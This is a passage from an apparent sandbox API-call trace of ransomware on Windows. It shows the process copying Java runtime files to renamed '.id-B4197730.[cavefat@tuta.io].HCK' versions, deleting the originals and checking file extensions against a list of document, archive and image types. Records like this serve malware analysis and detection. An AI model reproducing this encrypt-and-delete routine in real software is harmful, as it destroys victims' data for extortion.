(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0225.786] GetLastError () returned 0x0 [0225.786] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x414, lpOverlapped=0x0) returned 1 [0225.813] WriteFile (in: hFile=0x44c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x420, lpOverlapped=0x0) returned 1 [0225.814] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.814] WriteFile (in: hFile=0x44c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xee, lpOverlapped=0x0) returned 1 [0225.814] SetEndOfFile (hFile=0x44c) returned 1 [0225.814] CloseHandle (hObject=0x44c) returned 1 [0225.814] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.814] SetEndOfFile (hFile=0x458) returned 1 [0225.816] CloseHandle (hObject=0x458) returned 1 [0225.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.816] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0225.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.817] lstrlenW (lpString=".doc") returned 4 [0225.817] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString=".docx") returned 5 [0225.817] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0225.817] lstrlenW (lpString=".pdf") returned 4 [0225.817] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString=".xls") returned 4 [0225.817] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString=".xlsx") returned 5 [0225.817] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0225.817] lstrlenW (lpString=".ppt") returned 4 [0225.817] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.817] lstrlenW (lpString=".zip") returned 4 [0225.817] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString=".rar") returned 4 [0225.817] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString=".bz2") returned 4 [0225.817] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString=".7z") returned 3 [0225.817] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.817] lstrlenW (lpString=".dbf") returned 4 [0225.817] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.817] lstrlenW (lpString=".1cd") returned 4 [0225.817] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0225.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.817] lstrlenW (lpString=".jpg") returned 4 [0225.818] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.818] lstrlenW (lpString=".doc") returned 4 [0225.818] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString=".docx") returned 5 [0225.818] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0225.818] lstrlenW (lpString=".pdf") returned 4 [0225.818] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString=".xls") returned 4 [0225.818] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString=".xlsx") returned 5 [0225.818] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0225.818] lstrlenW (lpString=".ppt") returned 4 [0225.818] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.818] lstrlenW (lpString=".zip") returned 4 [0225.818] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString=".rar") returned 4 [0225.818] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString=".bz2") returned 4 [0225.818] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString=".7z") returned 3 [0225.818] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.818] lstrlenW (lpString=".dbf") returned 4 [0225.818] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.818] lstrlenW (lpString=".1cd") returned 4 [0225.818] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0225.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0225.818] lstrlenW (lpString=".jpg") returned 4 [0225.818] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0225.818] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0225.818] lstrlenW (lpString="content-types.properties") returned 24 [0225.818] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.819] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5548) returned 1 [0225.819] CloseHandle (hObject=0x458) returned 1 [0225.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0225.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.819] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.819] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.820] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.820] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0225.820] GetLastError () returned 0x0 [0225.820] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x15ac, lpOverlapped=0x0) returned 1 [0225.822] WriteFile (in: hFile=0x44c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x15b0, lpOverlapped=0x0) returned 1 [0225.822] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.823] WriteFile (in: hFile=0x44c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x104, lpOverlapped=0x0) returned 1 [0225.823] SetEndOfFile (hFile=0x44c) returned 1 [0225.823] CloseHandle (hObject=0x44c) returned 1 [0225.823] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.823] SetEndOfFile (hFile=0x458) returned 1 [0225.825] CloseHandle (hObject=0x458) returned 1 [0225.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.826] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0225.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.826] lstrlenW (lpString=".doc") returned 4 [0225.826] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0225.826] lstrlenW (lpString=".docx") returned 5 [0225.826] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0225.826] lstrlenW (lpString=".pdf") returned 4 [0225.826] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0225.826] lstrlenW (lpString=".xls") returned 4 [0225.826] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0225.826] lstrlenW (lpString=".xlsx") returned 5 [0225.826] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0225.826] lstrlenW (lpString=".ppt") returned 4 [0225.826] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0225.826] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.826] lstrlenW (lpString=".zip") returned 4 [0225.826] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0225.826] lstrlenW (lpString=".rar") returned 4 [0225.826] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0225.826] lstrlenW (lpString=".bz2") returned 4 [0225.826] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0225.826] lstrlenW (lpString=".7z") returned 3 [0225.827] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString=".dbf") returned 4 [0225.827] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString=".1cd") returned 4 [0225.827] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString=".jpg") returned 4 [0225.827] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString=".doc") returned 4 [0225.827] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString=".docx") returned 5 [0225.827] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0225.827] lstrlenW (lpString=".pdf") returned 4 [0225.827] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString=".xls") returned 4 [0225.827] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString=".xlsx") returned 5 [0225.827] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0225.827] lstrlenW (lpString=".ppt") returned 4 [0225.827] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString=".zip") returned 4 [0225.827] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString=".rar") returned 4 [0225.827] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString=".bz2") returned 4 [0225.827] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString=".7z") returned 3 [0225.827] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString=".dbf") returned 4 [0225.827] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString=".1cd") returned 4 [0225.827] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0225.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0225.827] lstrlenW (lpString=".jpg") returned 4 [0225.827] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0225.827] lstrcmpiW (lpString1=".data", lpString2=".HCK") returned -1 [0225.827] lstrlenW (lpString="currency.data") returned 13 [0225.827] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.828] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4122) returned 1 [0225.828] CloseHandle (hObject=0x458) returned 1 [0225.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0225.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.828] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.829] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.829] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0225.829] GetLastError () returned 0x0 [0225.829] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x101a, lpOverlapped=0x0) returned 1 [0225.830] WriteFile (in: hFile=0x44c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1020, lpOverlapped=0x0) returned 1 [0225.831] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.832] WriteFile (in: hFile=0x44c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xee, lpOverlapped=0x0) returned 1 [0225.832] SetEndOfFile (hFile=0x44c) returned 1 [0225.832] CloseHandle (hObject=0x44c) returned 1 [0225.832] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.832] SetEndOfFile (hFile=0x458) returned 1 [0225.834] CloseHandle (hObject=0x458) returned 1 [0225.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.834] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0225.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.835] lstrlenW (lpString=".doc") returned 4 [0225.835] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".docx") returned 5 [0225.835] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0225.835] lstrlenW (lpString=".pdf") returned 4 [0225.835] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".xls") returned 4 [0225.835] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".xlsx") returned 5 [0225.835] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0225.835] lstrlenW (lpString=".ppt") returned 4 [0225.835] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0225.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.835] lstrlenW (lpString=".zip") returned 4 [0225.835] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".rar") returned 4 [0225.835] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".bz2") returned 4 [0225.835] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".7z") returned 3 [0225.835] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0225.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.835] lstrlenW (lpString=".dbf") returned 4 [0225.835] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0225.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.835] lstrlenW (lpString=".1cd") returned 4 [0225.835] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0225.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.835] lstrlenW (lpString=".jpg") returned 4 [0225.835] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0225.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.835] lstrlenW (lpString=".doc") returned 4 [0225.835] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".docx") returned 5 [0225.835] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0225.835] lstrlenW (lpString=".pdf") returned 4 [0225.835] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".xls") returned 4 [0225.835] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0225.835] lstrlenW (lpString=".xlsx") returned 5 [0225.835] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0225.835] lstrlenW (lpString=".ppt") returned 4 [0225.836] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0225.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.836] lstrlenW (lpString=".zip") returned 4 [0225.836] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0225.836] lstrlenW (lpString=".rar") returned 4 [0225.836] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0225.836] lstrlenW (lpString=".bz2") returned 4 [0225.836] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0225.836] lstrlenW (lpString=".7z") returned 3 [0225.836] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0225.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.836] lstrlenW (lpString=".dbf") returned 4 [0225.836] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0225.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.836] lstrlenW (lpString=".1cd") returned 4 [0225.836] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0225.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0225.836] lstrlenW (lpString=".jpg") returned 4 [0225.836] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0225.836] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0225.836] lstrlenW (lpString="messages.properties") returned 19 [0225.836] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.838] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2860) returned 1 [0225.838] CloseHandle (hObject=0x458) returned 1 [0225.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0225.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.839] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.839] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.839] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.839] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0226.253] GetLastError () returned 0x0 [0226.253] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0226.255] WriteFile (in: hFile=0x3e4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xb30, lpOverlapped=0x0) returned 1 [0226.257] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.258] WriteFile (in: hFile=0x3e4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfa, lpOverlapped=0x0) returned 1 [0226.258] SetEndOfFile (hFile=0x3e4) returned 1 [0226.258] CloseHandle (hObject=0x3e4) returned 1 [0226.258] SetFilePointerEx (in: hFile=0x458, 